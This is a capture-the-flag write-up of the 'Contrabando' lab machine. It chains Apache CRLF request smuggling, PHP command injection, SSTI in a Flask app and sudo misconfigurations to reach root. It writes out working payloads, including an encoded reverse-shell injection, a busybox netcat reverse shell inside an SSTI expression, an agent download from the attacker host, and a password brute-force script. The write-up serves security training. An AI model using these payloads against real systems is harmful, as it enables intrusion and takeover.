Contrabando
Never tell me the odds. - by hadrian3689
The following post by 0xb0b is licensed under CC BY 4.0
Recon
We start with an Nmap scan and find two open ports. Port 22
, on which we have SSH available, and port 80
, on which an Apache/2.4.55
web server is running.

We visit the site and on the index page we are asked to visit the beta page.

Here we get the info, that the password generator is currently down.

Trying to read any files gives us an interesting output, a readfile function throws an error, that the file is not available. Furhtermore somehow PHP is in place.

Next, we perform a directory scan using Feroxbuster, nothing special pops up.
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u "http://contrabando.thm/"

We include the file extensions html and php in our scan and find to more interesting pages /page/index.php
and /page/gen.php
.
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u "http://contrabando.thm/" -x html,php

We visit both sites, and we get a glimpse of PHP code. It does not get evaluted. Furthermore not Apache/2.4.55
is responding, its Apache/2.4.54
.
http://contrabando.thm/page/index.php

The page index.php
takes the page
parameter from the URL and displays the contents of that file, or redirects to home.html
if no parameter is given. That seems the exact functionality of http://contrabando.thm/page/
. So some sort of redirection takes place beween those servers.
<?php
$page = $_GET['page'];
if (isset($page)) {
readfile($page);
} else {
header('Location: /index.php?page=home.html');
}
?>
Next we visit http://contrabando.thm/page/gen.php
.
http://contrabando.thm/page/gen.php

The page gen.php
generates and prints a random alphanumeric password of the given length (from $_POST['length']
) using /dev/urandom
, or tells you to provide the length if not set. It seems pretty vulnerable to command injection.
Untrusted input ($_POST['length']
) gets straight into a shell pipeline executed by exec()
. We could run arbitrary commands. We could inject a command like 1;$(id)
.
It seems like we need to reach that site somehow to get our foothold.
<?php
function generateRandomPassword($length) {
$password = exec("tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c " . $length);
return $password;
}
if(isset($_POST['length'])){
$length = $_POST['length'];
$randomPassword = generateRandomPassword($length);
echo $randomPassword;
}else{
echo "Please insert the length parameter in the URL";
}
?>
HTTP Request Smuggling Attempts
To identify and and exploit HTTP Request Smuggling we can follow the follwoing resource:
While researching on that topic again I came across this resource:
Unfortunately non of those technique did work.
Shell as www-data
The Nmap output suggested that HTTP Trace requests are possible and risky. An HTTP TRACE request is a diagnostic method that asks the server to return the exact request it received, mainly used for debugging. We issue that request on /
and /page/home.html
. We receive two different reponses. /page/home.html
reveals us the port and vhost of the webserver.


HTTP Request Smuggling - Further Research
On researching for CVEs on Apache HTTP Servers we'll come acros CVE-2023-25960
.
It addressess that some mod_proxy configurations on Apache HTTP Server versions 2.4.0 through 2.4.55 allow a HTTP Request Smuggling via CRLF injection in RewriteRule/ProxyPassMatch :
Also a PoC is available:
Request Preparation
What we know so far:
Frontend web-server: Apache/2.4.55
Backend web-server: Apache/2.4.54
The command injectable page is available at backend-server:8080/gen.php
.
We want to apply what is shown in the PoC. We follow the identification process of a CRLF Injection:
Identifying the CRLF Injection
Based on the advisory description the httpd <=2.4.55 is vulnerable to HTTP Response Splitting also known as CRLF Injection. The CRLF Injection occurs when:
Data enters a web application through an untrusted source, most frequently an HTTP request
The data is included in an HTTP response header sent to a web user without being validated for malicious characters.
which in our case can be confirmed passing the following CRLF prefix in URL:
HTTP/1.1\r\nFoo: baarr\r\n\r\n %20HTTP/1.1%0d%0aFoo:%20baarr
By appending the above prefix to the URL, the resulting final request will be as follows:
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1 Host: 192.168.1.103 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Following the request, the server will process the data and return a 200 response code indicating vulnebility to CRLF Injection.
HTTP/1.1 200 OK Date: Mon, 22 May 2023 02:05:28 GMT Server: Apache/2.4.54 (Debian) X-Powered-By: PHP/7.4.33 Content-Length: 21 Content-Type: text/html; charset=UTF-8 You category ID is: 1
We make a usual request and caputre it in Burp Suite.

We edit the request like the following. Since we get a 200 it might be vulnerable.
GET /page/index.php%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 10.10.62.105

Next, we generate our reverse shell payload using revshells.com.

We double base64 encode it, to circumvent any special characters. We follow the PoC and prepare a request:
GET /page/gen.php HTTP/1.1
Host: backend-server:8080
POST /gen.php HTTP/1.1
Host: backend-server:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 130
length=1;$(echo TDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekV3TGpFMExqa3dMakl6TlM4ME5EUTFJREErSmpFPQ==|base64 -d|base64 -d|bash) HTTP/1.1
Host: contrabando.thm
Next, we URL encode the request and issue it using Burp Suite.
GET /page/gen.php%20HTTP/1.1%0d%0aHost:%20backend-server:8080%0d%0a%0d%0aPOST%20/gen.php%20HTTP/1.1%0d%0aHost:%20backend-server:8080%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%20130%0d%0a%0d%0alength=1;$(echo+TDJKcGJpOWlZWE5vSUMxcElENG1JQzlrWlhZdmRHTndMekV3TGpFMExqa3dMakl6TlM4ME5EUTFJREErSmpFPQ==|base64+-d|base64+-d|bash) HTTP/1.1
Host: contrabando.thm

We won't get a response, but receive a connection back to our listener. We are www-data
in a docker container.

Shell as hansolo
No valid Docker escape could be found while enumerating the docker container. DirtyPipe was suggested by the following script:
But it could not be exploited.
Ligolo-ng Setup
We set up ligolog-ng to reach out to the host and other containers in order to identify services running internally.
Ligolo-ng Setup
For the subsequent phases, we use ligolo to relay traffic between the docker container and our attacker machine to make the internal and external services of the docker container accessible from the container to our attacker machine.
Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).
First, we set up a TUN (network tunnel) interface called ligolo on our attacker machine and configuring routes to forward traffic for specific IP ranges (240.0.0.1
, 172.18.1.0/24
) through the tunnel.
sudo ip tuntap add user 0xb0b mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 240.0.0.1 dev ligolo
sudo ip route add 172.18.0.0/24 dev ligolo
Next, we get the agent on the docker container and connect to our proxy.
curl http://10.14.90.235/agent -o agent
chmod +x agent
./agent -connect 10.14.90.235:11601 --ignore-cert

We get a message on our ligolo-ng proxy that an agent has joined. We use session
to select the session and then start it.

We are now able to reach the machines on networks 172.18.0.0/24
and the machines services itself.

A quick scan on 172.18.0.1
reveals a service on port 5000
. A service scan reveals it is a Werkzeug/3.0.0 Python/3.8.10 server.

SSRF
We are able to fetch some sites. We try to reach out to our own web server.

File Read
But also file inclusion is possible.
file:///etc/passwd

We are currently running as the user /home/hansolo
. But we are not able to fetch the user flag yet. It might have a different name. There are also no SSH related files.
file:///proc/self/environ

Next we investigate on/proc/self/cmdline, this
contains the full command-line arguments of the currently running process, stored as a null (\0
) separated string. This reveals us the location of the app.py
that is running.
file:///proc/self/cmdline

SSTI
It is a Flask application that allows a user to enter a URL, fetches the content of that URL with pycurl, and then displays the result inside a dynamically generated HTML page. The vulnerability lies in the fact that the fetched content is injected directly into a string that is passed to render_template_string
, which is a Jinja2 template renderer. Because of this, if the fetched page contains template expressions like {{7*7}}
, they will be evaluated by the server, leading to a Server-Side Template Injection (SSTI) vulnerability.
file:///home/hansolo/app/app.py

from flask import Flask, render_template, render_template_string, request
import pycurl
from io import BytesIO
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def display_website():
if request.method == 'POST':
website_url = request.form['website_url']
# Use pycurl to fetch the content of the website
buffer = BytesIO()
c = pycurl.Curl()
c.setopt(c.URL, website_url)
c.setopt(c.WRITEDATA, buffer)
c.perform()
c.close()
# Extract the content and convert it to a string
content = buffer.getvalue().decode('utf-8')
buffer.close()
website_content = '''
<!DOCTYPE html>
<html>
<head>
<title>Website Display</title>
</head>
<body>
<h1>Fetch Website Content</h1>
<h2>Currently in Development</h2>
<form method="POST">
<label for="website_url">Enter Website URL:</label>
<input type="text" name="website_url" id="website_url" required>
<button type="submit">Fetch Website</button>
</form>
<div>
%s
</div>
</body>
</html>'''%content
return render_template_string(website_content)
return render_template('index.html')
if __name__ == '__main__':
app.run(host="0.0.0.0",debug=False)
We test the SSTI by providing a file that contains {{7*7}}
.
http://10.14.90.235/ssti

It gets evaluated. Now we just edit the ssti file while testing and request it, to get it evaluated.

We use a payload from Ingo Kleiber to test for RCE on Flask (Jinja2) SSTI and are successful:
A Simple Flask (Jinja2) Server-Side Template Injection (SSTI) Examplekleiber.me - Ingo Kleiber
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}


Next, we try to find and read the flag.
{{request.application.__globals__.__builtins__.__import__('os').popen('ls /home/hansolo').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('cat /home/hansolo/REDACTEDFILENAME').read()}}

We now pop a shell using busybox. We get a connection back to our listener and are the user hansolo
. Next, we upgrade our shell: https://0xffsec.com/handbook/shells/full-tty/
{{request.application.__globals__.__builtins__.__import__('os').popen('busybox nc 10.14.90.235 4445 -e /bin/bash').read()}}

Shell as root
We see we are able to run /usr/bin/bash /usr/bin/vault
without a password and /usr/bin/python* /opt/generator/app.py
with a password as root
using sudo. Since we are missing a password yet, we focus on the former.

/usr/bin/vault
is a script that checks if /root/password
exists and, if so, compares its contents with user input; if they match, it prints /root/secrets
, otherwise it shows a mismatch message.
#!/bin/bash
check () {
if [ ! -e "$file_to_check" ]; then
/usr/bin/echo "File does not exist."
exit 1
fi
compare
}
compare () {
content=$(/usr/bin/cat "$file_to_check")
read -s -p "Enter the required input: " user_input
if [[ $content == $user_input ]]; then
/usr/bin/echo ""
/usr/bin/echo "Password matched!"
/usr/bin/cat "$file_to_print"
else
/usr/bin/echo "Password does not match!"
fi
}
file_to_check="/root/password"
file_to_print="/root/secrets"
check
Fortunately we can bypass the check with *
and get the content of /root/secrets
.

But we still need a password. We can try to brute it with a script and try every character using the preceding wildcard. The following script brute-forces the secret password one character at a time by appending each possible character from a defined charset and checking the response from the vault
program. It continues until no new character is found to recover the full password.
#!/bin/bash
# Full charset: letters, digits, and common specials
charset='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+-=[]{}|;:,.<>?/'
password=""
while true; do
found_char=""
for ((i=0; i<${#charset}; i++)); do
c="${charset:$i:1}"
guess="${password}${c}*"
# run vault and feed it the guess
output=$(echo "$guess" | sudo /usr/bin/bash /usr/bin/vault 2>/dev/null)
if echo "$output" | grep -q "Password matched!"; then
password+=$c
echo "[+] Current password: $password"
found_char=1
break
fi
done
# stop when no char matched → full password recovered
if [ -z "$found_char" ]; then
echo "[*] Finished! Full password: $password"
break
fi
done
We provide the script with our web server and run it. The password is not the root
password.

It's the password of hansolo
.

We are now able to run /usr/bin/python* /opt/generator/app.py
. The /opt/generator/app.py
seems to be a password generator.

Since we can run it using python2
...

The input()
function com in handy since in Python2 input()
behaves like eval(raw_input())
.
So all we have to to is to provide the following malicious input to spawn a root shell.
__import__('os').system('/bin/bash')

Last updated
Was this helpful?